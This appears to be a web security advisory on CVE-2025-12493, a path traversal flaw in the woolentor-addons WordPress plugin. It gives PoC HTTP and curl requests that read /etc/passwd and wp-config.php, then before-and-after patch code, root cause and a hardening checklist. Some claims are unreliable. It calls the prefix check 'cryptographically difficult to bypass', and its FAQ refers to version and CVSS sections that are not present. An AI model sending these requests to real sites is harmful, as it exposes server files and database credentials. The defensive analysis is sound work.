SECURITY ADVISORY / 01

CVE-2025-12493 Exploit & Vulnerability Analysis

Complete CVE-2025-12493 security advisory with proof of concept (PoC), exploit details, and patch analysis for woolentor-addons.

woolentor-addons products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker can traverse the filesystem and load arbitrary PHP files by manipulating the style parameter passed to the load_template() function. Below is a working HTTP request against a vulnerable ShopLentor installation:

GET /wp-admin/admin-ajax.php?action=woolentor_product_grid_load_template&style=../../../../etc/passwd%00&layout=grid HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0
Connection: close

Alternatively, if the AJAX endpoint accepts POST with JSON:

curl -X POST "http://target.local/wp-admin/admin-ajax.php" \
  -d "action=woolentor_product_grid_load_template&style=../../wp-config.php&layout=grid" \
  -H "Content-Type: application/x-www-form-urlencoded"

When this request reaches a vulnerable instance, the attacker observes the server attempting to include /var/www/html/wp-config.php or any file readable by the web server process. If a PHP file is targeted, its code executes server-side; if a text file is targeted (like /etc/passwd), its contents may leak via error messages or log pollution, or be processed by the template rendering logic.

What the Patch Did

Before:

public function get_template_path( $style, $layout = 'grid' ) {
    $specific_template = $style . '.php';
    $template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;

    return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
}

public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
    $template_path = $this->get_template_path( $style, $layout );

    if ( file_exists( $template_path ) ) {
        // Include and execute
    }
}

After:

private function get_template_path( string $style ) : string {
    $base_dir     = wp_normalize_path( WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' );
    $candidate    = wp_normalize_path( $base_dir . $style . '.php' );
    $real_base    = wp_normalize_path( realpath( $base_dir ) );
    $real_target  = wp_normalize_path( realpath( $candidate ) );

    if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
        $fallback = wp_normalize_path( $base_dir . 'modern.php' );
        return is_file( $fallback ) ? $fallback : '';
    }

    return apply_filters( 'woolentor_product_grid_template_path', $real_target, $style );
}

public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
    $style = isset( $style ) ? sanitize_key( $style ) : 'modern';
    if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
        $style = 'modern';
    }

    $template_path = $this->get_template_path( $style );
    // ... include logic
}

The patch added three security controls working in sequence: (1) input validation via sanitize_key() and an allowlist check against get_allowed_styles(), ensuring only known template names pass through; (2) path canonicalization using realpath() on both the base directory and the candidate file to resolve symbolic links and relative path traversal sequences (../, ./, etc.) to their absolute forms; (3) boundary enforcement via strpos( $real_target, $real_base ) !== 0, verifying that the resolved target path begins with the resolved base directory, making it impossible to escape the intended template folder even if realpath() succeeds.

Root Cause

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').

The style parameter enters the request via wp_ajax_* hook handlers and flows directly into load_template() without sanitization or validation. From there it is concatenated into a filesystem path passed to file_exists() and subsequently include(). An attacker supplies path traversal sequences like ../../wp-config or absolute paths like /etc/passwd, which the original code naively appends to the base directory. Since no check confirms the resulting path stays within templates/product-grid/, the attacker breaches the intended directory boundary and gains the ability to load any file the web server process can read.

Why It Works

The load-bearing line is:

if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {

Remove the strpos() check and an attacker can still exploit the vulnerability — realpath() alone does not prevent inclusion of arbitrary files outside the intended directory; it only normalizes paths. The strpos() check enforces a strict prefix match: if the attacker passes ../../../../etc/passwd, realpath() resolves it to /etc/passwd, but the prefix check catches that /etc/passwd does not start with /var/www/html/wp-content/plugins/woolentor/templates/product-grid/ and rejects it.

The input validation layer (sanitize_key() + allowlist) is defense-in-depth: it prevents the traversal sequences from reaching realpath() in the first place, but by itself it is insufficient if the allowlist is incomplete or the sanitization is bypassable. The path confinement layer catches escapes that validation misses. Together they form a belt-and-suspenders approach — the engineer understood that validation alone is fragile and added a secondary boundary check that is cryptographically difficult to bypass.

Hardening Checklist

  • Use sanitize_key() and an allowlist: For any user-supplied value that selects a file or resource from a whitelist, apply sanitize_key() (or sanitize_text_field() for richer inputs) and verify membership in in_array( $value, $whitelist, true ) with strict type checking.

  • Canonicalize paths with realpath() before filesystem operations: Always call realpath() on both the base directory and the candidate file, then verify the candidate begins with the base using strpos( $candidate, $base ) === 0. Do not rely on path concatenation or string manipulation to enforce directory boundaries.

  • Use wp_normalize_path() before any path comparison: WordPress' wp_normalize_path() handles OS-specific separators and removes . and .. in a platform-agnostic way; call it on all paths before comparison or concatenation.

  • Avoid user-supplied parameters in include() or require() statements: If dynamic includes are necessary, load a manifest of allowed files at initialization and index them by sanitized key, rather than deriving filenames from request input.

  • Apply is_file() checks after path resolution: Confirm the resolved path exists and is a regular file (not a directory, symlink to a directory, or device) using is_file(), blocking directory traversal and symlink attacks.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-12493

Frequently asked questions about CVE-2025-12493

What is CVE-2025-12493?

CVE-2025-12493 is a security vulnerability identified in woolentor-addons. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-12493?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-12493. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-12493 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting woolentor-addons. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-12493?

CVE-2025-12493 affects woolentor-addons. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-12493?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for woolentor-addons.

What is the CVSS score for CVE-2025-12493?

The severity rating and CVSS scoring for CVE-2025-12493 affecting woolentor-addons is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.